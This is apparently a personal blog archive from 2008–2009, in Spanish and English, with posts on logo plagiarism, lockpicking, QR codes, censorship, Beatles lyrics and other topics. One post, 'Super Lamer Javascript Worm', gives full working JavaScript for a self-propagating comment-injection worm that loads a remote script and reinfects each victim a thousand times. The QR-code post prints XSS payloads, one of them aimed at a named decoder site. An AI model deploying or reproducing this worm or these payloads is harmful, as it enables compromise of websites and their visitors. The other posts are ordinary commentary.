I guess that we must clarify language confusions here. As we are talking about intangible assets here, information, we use the words steal and theft only refering to the act of plagiarism. It is immoral when no reference to the original author is explicited then it is assumed that the copied logo is an original work of the graphic designed. No logo is completely original as particular features are always present in another logos but plagiarism is assumed when many features are present in more than one logo.

It's very funny to observe that to save money and time some companies copy (steal?) the iconographic logos from another companies. In some cases the small ones copy from the bigger ones and in other cases is the other way around.

I recommend to use the wonderful photo search engine called TinEye plus the Firefox TinEye plugin. In this case, is very clear that the photo similarity search of the service is a perfect fit for the detection of logo clones (thefts?).

These posts (part 1, part 2) written by a logo design company explain the details and techniques for shamelessly copying a complete logo or part of it. For example they show the similarities between the Sun Microsystems logo and the Columbia Sportswear logo. I tried to use TinEye to detect the Sun/Columbia similarities but failed.
In this article called Protecting Your Custom Company Logo Design's Copyright it is explained how to legally protect your logo, I guess is only useful when a explicit copy of your logo is made (and your logo is originally enough to be considered something that can be copied!).

An plagiarism example I detected with TinEye was the Kibon plagiarism (page 1, page 2). Kibon some years ago was an ice-cream brand, but the logo is also used by Olá, Good Humor and Wall's. Apparently these ice-cream brands are all owned by Unilever so they use the same logo in many places. But at least is not clear who design the logo. In site Brand's Of The World you can found the different logos: Olá (Portugal), Kibon (Brazil) and Wall's.
The TinEye approach did not work also for detecting one of my favorite plagiarisms: Livra (a prosumer web company from Argentina) versus CounterPath (a VoIP client software company).
We can conclude that plagiarism is usually accepted within an organisation because the organisation owns the copyright of the logo and can reuse and modify it without permission of the original graphic designer whether it works for the company or not.

Finally, swiss site Plagiat is completely devoted to plagiarism in it's various forms.

¡Equipo de Ganzuas Básico!

2009-09-20T18:28:00.000-07:00

¡Me quería meter en el mundo de la seguridad física! Entonces me compré un equipo básico de lockpicking en la conferencia Ekoparty de la gente de TOOOL.

Como no tenía nada para abrir con el equipo (solo sirve para candados comunes, no para candados tipo palanca). Luego me compré un pequeño candado SilverShadow, 30 mm, para probar el equipo. Este candado es importado por Herralfer S.A. de China.

La sopresa fue que solamente tuve que la pequeña palanca para abrirlo ¡Este candado no provee ningún nivel de seguridad! ¡Solamente necesitás girar el mecanismo con algo! ¡Incluso funcionó con mi uña!

Miren las fotos con la palanca, algo de tensión alcanza.

Ahora una foto con mi uña abriendo el candado. ¡No hizo falta el equipo hoy!

La moraleja de hoy es que no importa que tan fuerte sea el metal del candado, si el mecanismo es pobre, entonces el candado no provee seguridad.

Probablemente voy a enviar una queja a la empresa que importa estos candados. Esta es la información si quieren hacer lo mismo:

Herralfer S.A.
www.herralfer.com.ar
CUIT 30-66108409-6
Carrasco 729/31 (C1407)
Buenos Aires - Argentina
Telefax: (5411) 4139-8978
E-mail: info@herralfer.com.ar
FABRICADO EN CHINA

Basic Lockpicking Kit!

2009-09-20T17:47:00.000-07:00

I wanted to introduce myself into the world of physical security! So I bought a basic lockpicking kit at Ekoparty from the guys of TOOOL.

I didn't have anything that can be opened with the kit (it is only useful for classic locks, not lever locks). Then I bought a SilverShadow small lock, 30 mm, to test the kit. This lock is imported by Herralfer S.A. from China.

The surprise is that I only have to use the small lever to open it. This lock don't provide any security at all! You just need to turn the mechanism with something! It even worked with my nail!

Check the photos with the lever, some tension is enough.

Now a photo of my nail opening the lock. No need for the kit today!

Today's moral is that it does not matter the strength of the lock metal, if the mechanism is poor then the lock does not provide security.

I will probably send a complain to the company importing these locks. This is the information if you want to do the same:

Herralfer S.A.
www.herralfer.com.ar
CUIT 30-66108409-6
Carrasco 729/31 (C1407)
Buenos Aires - Argentina
Telefax: (5411) 4139-8978
E-mail: info@herralfer.com.ar
FABRICADO EN CHINA

Workshop de Seguridad Informática 2009 en las 38 JAIIO

2009-08-21T14:30:00.000-07:00

Voy a ir a este workshop de Seguridad Informática, es el primero que se hace en Argentina creo. ¿Alguién más va? Aca esta el artículo que presento.

SQL/JavaScript Hybrid Worms As Two-stage Quines
Delving into present trends and anticipating future malware trends, a hybrid, SQL on the server-side, JavaScript on the client-side, self-replicating worm based on two-stage quines was designed and implemented on an ad-hoc scenario instantiating a very common software pattern. The proof of concept code combines techniques seen in the wild, in the form of SQL injections leading to cross-site scripting JavaScript inclusion, and seen in the laboratory, in the form of SQL quines propagated via RFIDs, resulting in a hybrid code injection. General features of hybrid worms are also discussed.

Google AppEngine 99.9% Up-time With ORACLE?

2009-07-23T02:57:00.000-07:00

I am testing a little application on Google AppEngine to send Twitter updates to my cellphone. For two-weeks this free cloud-computing hosting has just worked perfectly. But a couple of days ago it throwed a strange error (check it below). The system makes a cron web request every 2 minutes. That is a honorable 99.9% aprox up-time! Apparently they say I consumed some quota but I was using almost nothing of it. What is weirder is that I received an ORACLE error on my cellphone!

ORA-00604: error occurred at recursive SQL level 1
ORA-02067: transaction or savepoint rollback required
ORA-02067: transaction or savepoint rollback required

This is the AppEngine detailed error I get from the webapp cloud log. You can see that the error raises from the AppEngine DataStore, maybe is a limitations not observable from the application dashboard and it's quotas. But on the other side the ORACLE error codes indicate that the problem is a concurrency bug in the DB.

The lesson we learned from Cloud Computing is that you can't debug or report this kind of errors because you don't know who is responsable (in this case Google, Twitter, Claro-phoneprovider or me?), besides the inability to replicate them.


07-20 01:08PM 19.632
/broadcast/realtime
500

4913ms

8181cpu_ms
8013api_cpu_ms

0kb

0.1.0.1 - - [20/Jul/2009:13:08:24 -0700] "GET /broadcast/realtime HTTP/1.1" 500 84 - - "twittus.appspot.com"




E 07-20 01:08PM 24.533

Traceback (most recent call last):
  File "/base/python_lib/versions/1/google/appengine/ext/webapp/__init__.py", line 501, in __call__
    handler.get(*groups)
  File "/base/data/home/apps/twittus/1.335015795539495654/broadcast.py", line 59, in get
    if get_status().status == 0:
  File "/base/data/home/apps/twittus/1.335015795539495654/broadcast.py", line 20, in get_status
    for s in TwittusStatus().all().fetch(1):
  File "/base/python_lib/versions/1/google/appengine/ext/db/__init__.py", line 1426, in fetch
    raw = self._get_query().Get(limit, offset)
  File "/base/python_lib/versions/1/google/appengine/api/datastore.py", line 959, in Get
    return self._Run(limit, offset)._Get(limit)
  File "/base/python_lib/versions/1/google/appengine/api/datastore.py", line 903, in _Run
    _ToDatastoreError(err)
  File "/base/python_lib/versions/1/google/appengine/api/datastore.py", line 2055, in _ToDatastoreError
    raise errors[err.application_error](err.error_detail)
Timeout

Facebook Secure Pro, Encripting it!

2009-07-05T19:48:00.000-07:00

Facebook supports the usage of secure encrypted connections, i.e. HTTPS or HTTP over SSL. (See technical note below for technical security concepts.) But unless the Facebook team decides to put it by default or as an option in their configuration is not usable. So I decided to make a small GreaseMonkey script to replace HTTP with HTTPS whenever is possible. I call it Facebook Secure Pro because it is based on the script Gmail Secure Pro version 1.1.

The last version of the script, version 1.1, Is working okey except for the following issues:

- Photos and Videos are not supported encrypted by Facebook, probably due to performance.
- Facebook Chat apparently is not supported by Facebook or the script broke it.
- Share button is apparently broken.

Please report any comment you have or error you found in the Issues section. I hope the Facebook team decides to use secure connections by default, like Gmail these days, or at least optional from the configuration.

Download the script!

Technical Note: In this case secure means that using HTTPS anyone sniffing your Facebook traffic can't see it, for example in your favorite cybercafe, unless the eavesdropper uses a more sofisticated attack called man-in-the-middle. Also, in the latter case, the eavesdropper very probably can't use the original and secret certificate owned by Facebook for the connection. That means you conversation will be stolen but you will problably see a wrong certificate, not assigned to Facebook. Messing with SSL certificates can be done by an eavesdropper but a really hard and experimental attack.

Un libro poco lúcido

2009-06-27T18:33:00.001-07:00

Me encanta leer los libros que me regalan porque ya tengo la certeza de que puedo discutirlo con alguién. En este caso leí La cámara lúcida (La chambre claire) de Roland Barthes (Cherburgo, 12 de noviembre de 1915 – París, 25 de marzo de 1980). Es el primer libro que leo de este autor. Sabía que me iba gustar leerlo para desmenuzarlo y criticarlo como se merece. Como sospechaba, Barthes, como muchos filósofos del siglo XX cae en la tentación de hablar de un tema que desconoce. En todo el libro Barthes no comenta ninguna fotografía sacada por él, ni dice haber obturado alguna vez una cámara. Entonces pienso que interesante un libro sobre fotografía escrito por una persona que pareciera nunca saco una fotografía y que además vivió toda su vida con su madre. Como Barthes se dedica al estudio de los símbolos, la semiótica, voy a inferir que esto es otro símbolo de la decadencia filosófica en el siglo XX. Ni hablar que cita en este libro a otro libro del autor, llamado Roland Barthes por sí mismo, una autobiografía que nos llega como otro símbolo de su humildad y modestia. El problema que yo encontré es que como libro de filosofía es pobre porque el autor busca en su escrito hacer una fusión de conceptos filosóficos, literarios (con citas a Proust incluidas) y autobiográficos. El resultado final entonces es poco nutritivo en los tres aspectos y transmite una suerte de sensación onanista fotografica amateur.

La cámara lúcida se centra en una análisis poco superficial de tema, del cual yo también soy lego. Si principal tesis es que en la fotografía se trata de la búsqueda del Esto-a-sido. Podemos comentar que no siempre la fotografía es realista porque se puede buscar hacer una fotografía surrealista o retocada con herramientas de post-producción. Esto contradice la tesis de Barthes.

Recorramos brevemente algunas de las gemas literarias con las que nos hace reír Barthes. Enfaśis incluidos en el original.

[..] si la fotografía se convierte entonces en algo horrible es porque certifica, por decirlo así, que el cádaver es algo viviente, en tanto que cadaver, es la imagen viviente de una cosa muerta.

(Pág. 124)

Suele decir que fueron los pintores quienes inventaron las Fotografía [..] Yo afirmo: no, fueron los químicos.

(Pág. 126)

[..] muchos dicen que es el azúcar es dulce, pero yo encuentro el azúcar violento [..]

(Pag. 141)

[..] la Foto [..] como un organismo viviente, nace a partir de los granos de plata que germinan [..]

(Pág. 143) El fragmento que sigue es muy deprimente, suicidas abstenerse.

Antes la única foto en la que veo juntos a mi padre y a mi madre [..] es el amor como tesoro lo que va a desaparecer para siempre jamás; pues cuando yo ya no esté aquí, nadie podra testimoniar sobre aquel amor [..]

(Pág. 145)

La Fotografía es llana en todos los sentidos del término [..]

(Pág. 160)

[..] la mirada es siempre virtualmente loca: es al mismo tiempo efecto de verdad y efecto de locura.

Los dejo con Roland Barthes, su fotografía y su madre.

BioBricks, Syntetic Biology and Future Security Challenges!

2009-06-09T19:08:00.000-07:00

Synthetic Biology is the design and construction of new biological parts, devices, and systems, and the re-design of existing, natural biological systems for useful purposes. BioBrick is a standard specification being recently developed to specify bio-molecular parts, that is, the building blocks of molecular biology. These DNA bricks are contained inside plasmids, that are circular strings of DNA copied inside bacteria. The even have an open repository were everyone can upload their own parts and share them with other researchers.

For example here I retrieved the DNA that encodes a device for generating insulin (when present in the form of a plasmid inside bacteria?).



>BBa_I761007 Part-only sequence (600 bp)
tcccttgcatttacattttgaaacatctatagcgataaatgaaacatctt
aaaagttttagtatcatattcgtgttggattattctgcatttttggggag
aatggacttactagagaaagaggagaaatactagatggacaaattcgacg
ctaatcgccgcaaattgctggcgcttggtggcgttgcactcggtgccgcc
atcctgccgacccctgcgtttgcaggcattgtggaacaatgctgtaccag
catctgctccctctaccagctggagaactactgcatactagagaaagagg
agaaatactagatggacaaattcgacgctaatcgccgcaaattgctggcg
cttggtggcgttgcactcggtgccgccatcctgccgacccctgcgtttgc
atttgtgaaccaacacctgtgcggctcacacctggtggaagctctctacc
tagtgtgcggggaacgaggcttcttctacacacccaagacctaataatac
tagagtcacactggctcaccttcgggtgggcctttctgcgtttatatact
agagagagaatataaaaagccagattattaatccggcttttttattattt

Browse the complete bioparts catalogue here.

Some (futurologist?) security challenges that arose in their yet immature engineering projects are the possibility of malicious contributors injecting spoofed genetic materials to produce illegal drugs, poisonous substances or even dangerous viruses. Even some companies now are providing services to produce DNA at your command, you upload the nucleotide sequence via Internet and they send you the DNA packaged like Amazon, read this, circa 2004, EETimes article.

QR Codes Security: Cross-site Scripting

2009-05-31T19:59:00.000-07:00

This is my new T-shirt. In this post I will explain what are QR Codes, why this technology is making some noise now and a couple examples of security issues raised by this useful technology.

Quick Response Codes (QR Codes) are two-dimensional barcodes that have been developed by a japanese corporation called Denso in 1994, a subsidiary of Toyota. In Japan, every cellular uses this codes for many services. Now there is sudden explotion of web sites providing services related to QR Codes, for example BeeTagg, with the idea of all things being tagged and tracked from the Internet.

These codes have the following abilities.

- Can be quickly processed for tagging industrial parts, car industry born.
- Axis information to correct photo orientation.
- Redundant information and Solomon-Reed error correcting codes.
- According to some sources, redundant information can be used for artistical goals (?). No interesting example besides this one, poem Walrus and the Carpenter.
- Maximum content size, 2,953 bytes.

For my experiments I used the online Google Chart API barcode generator. Also the open source Zebra Crossing Project provides and interface to this generator. They are developing a QR Code scanner for various mobile devices. Check the following example.

To decode this barcodes you can use some software from you cellphone, your desktop or any online decoder like the one provided kindly by DrHu.org here.

Attack Vector 1: Embedded URLs with Non-Persistent XSS

Because this barcodes many times contains URL that redirect mobile phones to webpages, URLs possibly containing JavaScript code reflected back a-là non-persistent cross-site scripting (XSS) can be found. An example extracted from OWASP follows.

http://testsite.test/<script>alert("TEST");</script>

Malicious JavaScript can be used to do any web operation within the victimized domain and also to send stolen information to other malicious domains.

Attack Vector 2: JavaScript code directly included inside the barcode

If you observe the DrHu.org online web decoder you will notice that HTML sensitive characters are not escaped, so you can insert JavaScript code inside the encoded text. The following barcode shows a popup and redirects the browser to another web page when it is decoded using DrHu.org's service.

The decoded text follows.


XSS!
<script>
alert('XSS!');
location.href = location.href.replace(/^http:\/\/www.drhu.org\/QRCode\/QRDB_Java.php/,'http://mechpoe.blogspot.com');
</script>

Notice that DrHu.org's site is not always working because is not an industrial-sized project. These ideas were partly inspired by SQL injections on RFID chips described on paper Is Your Cat Infected with a Computer Virus?.

Final Remarks

We conclude that browser executable code can be included inside QR Codes directly or within URLs. Although the examples I present are not very dangerous is possible that more critical examples will appear in the future if QR Codes become more and more used in daily life.

Check below the remarkable video from the Pet Shop Boys's song Integral.

XSS on WolframAlpha's Blog (owned!)

2009-05-24T10:28:00.000-07:00

A reflected XSS has been discovered in the blog of WolframAlpha's proyect. Check the screenshot, it's not very dangerous but it's funny, inserts a lolcat photo from another domain.

CHECK IT HERE!

SOURCE

¿Sirven los billetes con inscripciones contra el sistema?

2009-02-03T11:26:00.001-08:00

Bueno, llegó a mis manos un billete argentino de 2 pesos con una inscripción viral que dice "si te toca este billete la plata nunca te fallaría hace 3 copias".

Me parecio muy simpático este hoax (o bulo o cadena falsa) que usa el dinero para replicarse, es decir, obviamente es falso pero mucha gente ante la promesa del billete, más su necesidad de dinero y la superstición, hará lo que dice.

En el 2007, billetes con sellos de protesta contra la empresa papelera Botnia invadieron las billeteras argentinas. Según el siguiente articulo periodístico, ¿Sirven los billetes con sellos contra las papeleras?, la cantidad de billetes sumaría alrededor de 100.000 pesos, me pregunto si un monto tan grande podría haber sido sellado por un particular privado o si fue una campaña del gobierno nacional. Algo interesante es que el Banco Central de la República Argentina (BCRA) dijo que estos billetes adulterados "[..] mantienen pleno valor circulatorio y de pago." y que esta entidad ser reserva la facultad de promover las acciones pertinentes ante quienes desvirtúen el uso de los billetes a través de inscripciones.

A modo de desobediencia civil voy a continuar con la cadena, haciendo 2 copias en vez de 3 (lo importante es que sean más que 2 para que el crecimiento de los billetes afectados sea exponencial). Me hizo acordar a este documental llamado El Dinero Como Deuda (Money as Debt), que explica como la moneda mas fuerte de todo el mundo, el dolár, es emitido por un banco central gobernado por intereses privados, la FED, lo que lleva a que los dólares en circulación sean notas de deuda que tiene el gobierno estadounidense con el sistema bancario privado. En el caso de Argentina el Banco Central de la República Argentina esta dirigido por un directorio elegido por el Poder Ejecutivo, pero en la práctica se ve que la dirigencia de este banco central argentino proviene del sector privado financiero internacional más que del gobierno de turno (ver la lista de directores) y que el peso argentino estuvo los ultimos casi 20 años atado o regulado para estar atado al dolár.

Tecnicamente, si el dinero se emite para acompañar el crecimiento del país no habría problema (igual el crecimiento indefinido es insostenible), pero la cuestión es que ,viceversa, el que emite el dinero controla o influye fuertemente en el crecimiento del país, luego si el peso esta atado al dolar y el dolar lo emite la FED privada a pedido del gobierno estadounidense con un interés que controla la FED, entonces los interés privados de banqueros internacionales o estadounidenses controlan el crecimiento argentino y la inflación argentina.

Al principo de este post esta el documental, en español.

Voy a hacer un URL pequeño para poner en los billetes que voy a liberar, asi rastreo parcialmente el éxito de esta humilde campaña viendo la cantidad de visitas a este artículo en mi blog.

Entonces mi inscripcion será la siguiente:

"si no te alcanza el dinero hace 2 copias y entra a http://tinyurl.com/cedbxz"

Liberen sus propios billetes inscriptos si quieren.

¡Basta de control privado internacional sobre la política monetaria argentina o de cualquier país libre y soberano!

Otras alternativas creativas que se han puesto a circular son:

- Si no queres que te falte el amor entra a http://tinyurl.com/cedbxz y hace 2 copias (versión Hare Krishna)
- Si odias a los bancos hace 2 copias y entra a http://tinyurl.com/cedbxz (version Corralito)
- ¡Desobediencia civil! hace 2 copias y entra a http://tinyurl.com/cedbxz (version desobediente)
- ¡Sumate a la Resistencia! hace 2 copias y entra a http://tinyurl.com/cedbxz (version resistente)
59-09: 50 años Rev Cubana, hace 2 copias y entra a tinyurl.com/cedbxz (versión cubana)

Danger: 3rd Party Google Analytics Widget

2008-12-14T00:08:00.000-08:00

Casi me mando una torpeza, le agregue Google Analytics (GA) a este blog y queria poner un widget del mismo para que los visitantes vean la actividad. Probando los widgets recomendados por Blogger vi que solamente andaba uno que pedia el usuario y password de GA (claro como va a conocer las estadisticas sino, son privadas!). Luego me di cuenta que no esta bueno darles tu password de Google a los que hacen estos widgets porque tu password es tuyo (?) y ninguna 3rd party lo deberia guardar en sus servidores. Pero el problema mas grave fue que descubrí que este widget publica el usuario y el password dentro de su código. Vean:

<img height='1' src='http://gmodules.com/ig/rgp?
synd=blogger&
lang=es&
source=http%3A%2F%2Fmechanicalpoetry.blogspot.com%2F&
n=1&
url1=http%3A%2F%2Fhosting.gmodules.com%2Fig%2Fgadgets%2Ffile%2F113442111111660630273%2FGoogleAnalytics.xml
' width='1'/>

<iframe frameborder='0' height='200' id='1' name='1' src='http://1.blogger.gmodules.com/gadgets/ifr?
container=blogger&
mid=1&
v=cad198147a605c967a79e981625325&
lang=es&
country=ALL&
view=default&
up_selectedTab&
up_username=USUARIO_DE_BLOGGER_Y_O_GOOGLE&
up_password=PASSWORD&
up_account&
up_website&
up_daterange=One+Month&
url=http%3A%2F%2Fhosting.gmodules.com%2Fig%2Fgadgets%2Ffile%2F113442111111660630273%2FGoogleAnalytics.xml&
mid=1&
parent=http%3A%2F%2Fmechanicalpoetry.blogspot.com%2F'
style='width: 100%; display: block'>

</iframe>

La verdad que trate de encontrar gente que haya publicado su password y casi no la encontré (sera porque no existe ningun buscador web para codigo HTML/Javascript?). Lo único que encontre fue esto que sigue, el password no funciona asi que no hace faltan que lo prueben.

La búsqueda:

"up_password=" "gmodules.com"

y solamente encontré este sitio con un usuario y password públicos.

Por lo pronto queda picando el tema de los buscadores web que indexen HTML y Javascript completos. ¿Alguien conoce alguno?

Censura en la Web

2008-12-01T13:31:00.000-08:00

(afiche de la pelicula "1984", año 1956)

Luego de ver que Diego Maradona logró quitar el keyword "maradona" del buscador web Yahoo versión local de Argentina (Google apeló evitando temporalmente el fallo, ver How Maradona Censored Yahoo and Google), salio un artículo en el NYTimes (Google's Gatekeeper's) sobre los directivos de Google encargados de decidir que información y búsquedas se censuran dentro de los productos de ellos. En general, estas cuestiones se discuten país a país porque según ví los pedidos legales de censura provienen de los gobiernos nacionales de distintos paises.

También hubo casos de modelos que también fueron sacadas del Yahoo Seach Argentina, porque se quejaron legalmente de fotos suyas desnudas publicadas sin permiso. Aca hay ejemplos de búsquedas censuradas en Yahoo Argentina:

http://ar.search.yahoo.com/search?p=maradona (por Diego Maradona)
http://ar.search.yahoo.com/search?p=mazza (por Valeria Mazza, modelo).

Con motivo de una orden judicial solicitada por partes privadas, nos hemos visto obligados a suprimir temporalmente todos o algunos de los resultados relacionados con ésta búsqueda.

Hay un sitio web que rastrea todos estos casos legales de censura en la Web, se llama Chilling Effects, estan armando una base de datos con las comunicaciones legales "Cease and Desist". Aca hay un ejemplo ("Agrandar el pene" Site Complains to Google #2) que tiene fragmentos interesantes. Disculpen por favor el contenido del ejemplo pero lo tuve que poner porque tiene secciones interesantes como pedidos de censura para keywords, ad words, etc.

Este pedido de censura es buenísimo, Disney Complains of Pirated "Pirates" Photos.

Posteen en los comentarios mas búsquedas censuradas si encuentran.

Textmining And The Politization of Beatles Lyrics (cont.)

2008-07-27T22:46:00.000-07:00

View the previous posts here. In this one, I hear the ideas of a friend about how possibly Paul was more apolitical when written lyrics for the Beatles than John. So I added the results of John Lennon's lyrics and Paul McCartney lyrics to the curves plotted.

This is the result, now I made different plots for each of the two distances tested. Only the albums released before 1987 were included in the experiments.

Remember that we are comparing with the "Politics" article from Wikipedia (permanent link here). Closer to 0.0 means no vocabulary related with Politics article and 1.0 means that the lyrics have exactly the same vocabulary.

Viewing the Jaccard's distance we can observe that after the dissolution of the Beatles, John Lennon has a very political album: "Mind Games". An obvious objection is that this experiments don't consider the metaphorical power of language, only the syntactic content of the lyrics.

In the Sorensen-like distance plot it's observed that Paul is more politically inclined, maybe this has something to do with the size of the lyrics or the number of songs but the is some variation on the size of the album lyrics, Paul has bigger album lyrics.

I very interesting patter is seen on the Paul McCartney lyrics in the Sorensen-like distance plot. Three very similar cycles are observed, maybe this patterns are due to recording contracts requiring 4 albums, but I am just speculating.

Textmining And The Politization of Beatles Lyrics

2008-06-17T21:49:00.000-07:00

In this post I will show you a little experiment I designed to use some basic text-mining concepts applied to the analysis of rock lyrics. I not a huge fan of The Beatles, but I really enjoy listening to the some of the latest albums and I questioned myself if those album where the most politically inclined or not. The answer was YES.

I compared the bag (multiset) of word of every Beatles Studio Album with a reference bag of words extracted from the Wikipedia article for Politics. The comparation included two similarity measures, Jaccard similarity and a Sorensen-like similarity I deviced (1.0 means very similar to politics article and 0.0 means nothing in common with the article).

For the former measure (Jaccard) the most political album resulted Sgt. Pepper's Lonely Hearts Club Band and for the latter was The White Album, my favorite Beatles album! This latter measure is more robust because uses word frequencies instead or word # of appearances. After that album a strong de-politization of the lyrics is observed.

AI Singularity or Gödel's Final Laugh

2008-06-04T22:40:00.000-07:00

(in the photo are portrayed Gödel and Einstein)

I predict that in the coming decades, humanity will likely create a bunch of powerful institutes, misleading politicians to attract founding into esoteric, yet useless, areas of science. This will result in a new form of government, called Idiocracy.

In this post I will criticize some aspects of the foundations of the The Singularity Institute of Artificial Intelligence. On the other side, I found very intriguing some philosophical and scientific questions putted on the table by some scientists of the institute, but in general I think that the advocacy of the institute is fragile on several aspects.

I'll discuss some concepts that I think that are not accurate in the overview and mission of the Institute ("What is the Singularity?").

Human intelligence is the foundation of human technology

Human science is the foundation of human technology, in general, intelligent people not devoted to science are incapable of developing new technologies.

If technology can turn around and enhance intelligence, this closes the loop, creating a positive feedback effect.

The loop is already closed, humans, with or without the help of technology (like writing), can improve themselves through self-reflection, thinking and decision-making processses. Maybe the central issue is speed, they comment more on that aspect further ahead.

but it would also arise, albeit initially on a slower timescale, from humans with direct brain-computer interfaces creating the next generation of brain-computer interfaces,

I can't see why new interfaces will bring new intelligence, classic speech or keyboard have more to do with intelligence and symbolic processing that images and analogic movements.

The current estimate is that the typical human brain contains something like a hundred billion neurons and a hundred trillion synapses.

I believe the key ingredient here is linkage, besides there are a hundred trillion direct connections in the brain (synapses) the paths between neurons have a number much more larger than that. Regarding the importance of links in intelligence, I see much more potential on AI involving Internet, than in AI involving human-machine interfaces or virtual-environments. With regard to numbers, atomic operations per-second are not a guarantee, intellectual processes involves several entangled systems. We can use an analogy, having a third-world country with the same population as a first-world country doesn't make both country equally wealthy.

However, in the computing industry, benchmarks increase exponentially, typically with a doubling time of one to two years. The original Moore's Law says that the number of transistors in a given area of silicon doubles every eighteen months; today there is Moore's Law for chip speeds, Moore's Law for computer memory, Moore's Law for disk storage per dollar, Moore's Law for Internet connectivity, and a dozen other variants.

This "laws" can't continue forever, thermodynamics limits any kind of computation, wires are getting thinner, more heat is disipated, even quantum computter suffer from this limits when they interact with non-quantum computers. For a more detailed description, read for example Theory of Thermodynamics of Computation. From the economic side of this growth, its also non-sustainable, production of goods can't grow forever at an exponential growth, even if this benefits the governing elites. Also watch the following to observ exponential growth on power consumption.

But leave aside for the moment the question of how to build smarter minds, and ask what "smarter-than-human" really means. And as the basic definition of the Singularity points out, this is exactly the point at which our ability to extrapolate breaks down.We don't know because we're not that smart. We're trying to guess what it is to be a better-than-human guesser.

With this kind of sophist arguments you can protect concepts like God or related, if a supreme being exists then you can't comprehend its decisions or thinking. Anyone can speculate about things that don't exist, quimeras, flying hypos, etcetera. The last phrase resembles the Liar's Paradox "This sentence is false" formulated in an artificial intelligence context or the Berry's Paradox "The smallest positive integer not definable in under eleven words", in this case is something like "the smallest better-than-human intelligence described by humans".

Self-improvement is far harder than optimizing code; nonetheless, a mind with the ability to rewrite its own source code can potentially make itself faster as well.

From the psicological point-of-view I think that freewill can be used for self-improvement. On the other side, making transformations on computer codes have been proved to led to non-predictable results, because if results were predictable basic Computability Theory threorems will be false (computers cannot decide computer properties in general, view Rice's Theorem). Merging both points of view, is not difficult to argue that self-improvement is not predictable, complex decisions like this can often lead to opposite effects.

Combine faster intelligence, smarter intelligence, and recursively self-improving intelligence

Well, faster intelligence has been refuted with the "big numbers don't matter" argument, smarter intelligence is a sophism (smarter than what? is there a limit to human intelligence?) and the recursive self-improving concept if think is not applicable to practical computers, it's only a theoretical artifact, for example Optimal Universal Search, due to exponential time algorithms an huge constants involved.

Maybe in a following post I will attack the problem of "Why Work Toward the Singularity?". Is their founding money walking to a Black Hole Singularity?

¿Luciano Miguens es en realidad Count Dooku, Tristan es Kirchner?

2008-06-02T19:45:00.000-07:00

Bueno, finalmente este blog desvirtuó su enfoque académico. Incluyo una imagen política, espero cómica, que refleja un poco mi postura frente al conflicto actual en la Argentina por la retenciones a las exportaciones agrícolas.

Primero fue Benedicto XVI, se descubrió su alter-ego, el Emperador Palpatine.

Ahora descubrimos que Luciano Miguens, presidente de la Sociedad Rural Argentina, es en realidad Count Dooku, otro personaje de la saga Star Wars.

Para que no se enojen algunos amigos gorilas pongo también otro famoso descubrimiento, ya antiguo, por el cual nuestro ex-presidente no sería mas que otra reencarnación del cómico Tristán.

Super Lamer Javascript Worm

2008-04-21T18:43:00.000-07:00

In this case we will discuss how to build the most basic JavaScript Worm exploiting a JavaScript injection.

First, you need to find a multi-user weblog system that is affected a JavaScript injection in the commentaries left by the visitors, we will call it www.truchilog.com. For example, when the visitor is leaving his name maybe he can input:

</a><script src=http://badpage.googlepages.com/j.js></script><a>

Injecting a small JavaScript script that invokes another arbitrary long script hosted in a free service like GooglePages. To use it's complete viral power the worm must infect new weblogs through new malformed commentaries on another weblogs.

You must notice that in JavaScript to view the result of a HTTP request it must be sent from the same domain. In this basic worm, the new victims are retrieved from the home page of the weblog system, i.e. '/'. The using a regular expressions we located in the home new weblogs or post in the system and proceed with a HTTP POST request to inject the viral payload into a comentary.

In this hypotetical example, the weblog posts detected has the form 'name.truchilog.com/post_number'. The complete code in j.js follows, notice that to be extra malicious the victims are infected 1000 times.

// generic function to start a http connection
// from JavaScript, is multibrowser
function init_conn() {
   var success = false;
   var xmlhttp; // Setup a variable.
   try {
   // This checks for alternate browsers
   // such as Opera or Firefox
       xmlhttp = new XMLHttpRequest();
       success = true;
           } catch (e) {
   // Oops, not one of those. Try different
   // IE implementations.
       var XHR = new Array('MSXML2.XMLHTTP.5.0',
                           'MSXML2.XMLHTTP.4.0',
                           'MSXML2.XMLHTTP.3.0',
                           'MSXML2.XMLHTTP',
                           'Microsoft.XMLHTTP');

       for (var i=0;i < XHR.length && !success; i++) {
           try {
               xmlhttp = new ActiveXObject(XHR[i]);
               success = true;
                   } catch (e) {}
       }
       if (!success) {
       // No XMLHttpRequest object? Is this 1990?
           throw new Error('No XHR object');
       }
   }

   return xmlhttp;
}


function infect(text) {

   // harvest the user and post_num from the last posts.
   var regexp = new RegExp('http://[a-z0-9_]+.truchilog.com/[0-9]+/','g');
   var mymatch = text.match(regexp);

   for (var i = 0; i < mymatch.length; i++) {
     
       //     var mymatch = myregexp.exec(text);
       chain = new String(mymatch[i]);
       pieces = chain.split ("/"); // el separador es el espacio
     
       user = pieces[2].split(".")[0];
       post_num = pieces[3]

       // inject the the small javascript in 
   //the post using the name and post_num collected
         
   // URI to send params to
       var targetURI = "/commentaries.php?F="+user+"&P="+post_num;
       var params = 'Name=%3C%2Fa%3E%3Cscript+src%3Dhttp%3A%2F%2F';
   params += 'badpage.googlepages.com%2Fj.js%3E%3C%2Fscript%3E&';
   params += 'Commentary=Hello_your_blog_was_infected&EMail=&';
   params += 'URLPage=&x=65&y=4';
       xmlhttp = init_conn();
   //Open XHR and then set headers.
       xmlhttp.open("POST", targetURI, true);
       xmlhttp.setRequestHeader("Content-type",
       "application/x-www-form-urlencoded");
       xmlhttp.setRequestHeader("Content-length", params.length);
       xmlhttp.setRequestHeader("Connection", "close");
   //Send the parameters to the target.    
       xmlhttp.send(params);
   }
 
}

// search for the last posts.

function p()
{
   if(R.readyState==4)
       {
           var text = R.responseText;
       // Setup a variable.
           var xmlhttp;
           // infect many times
       for(i=0; i < 1000; i++) {
           infect(text);
       }
       }
}

// start infection.
var R= init_conn();
R.onreadystatechange=p;
R.open('GET','/lastPosts.php',true);
R.send(null);

Super Lamer JavaScript Bomb

2008-04-16T09:53:00.000-07:00

Esto no es muy avanzado, pero como no se mucho de programacion web y de cosas dinámicas como AJAX, me sirvió para aprender un poco más.

La idea es las páginas web pueden contener código JavaScript que haga requests HTTP dentro del mismo dominio web de la página y requests HTTP fuera del dominio pero sin ver el resultado. Entonces si alguna página web no filtra bien el contenido que deja poner y te permite inyectar JavaScript entonces podes hacer las cosas que hace la página web cuando alguién la accede. Un ejemplo famoso y descontrolado de esto fue el Worm de MySpace "samy is my hero".

Este tipo de inyecciones son conocidas como Cross Site Scripting cuando se realizan requests HTTP para robar información de usuarios de un dominio y mandarla a otro.

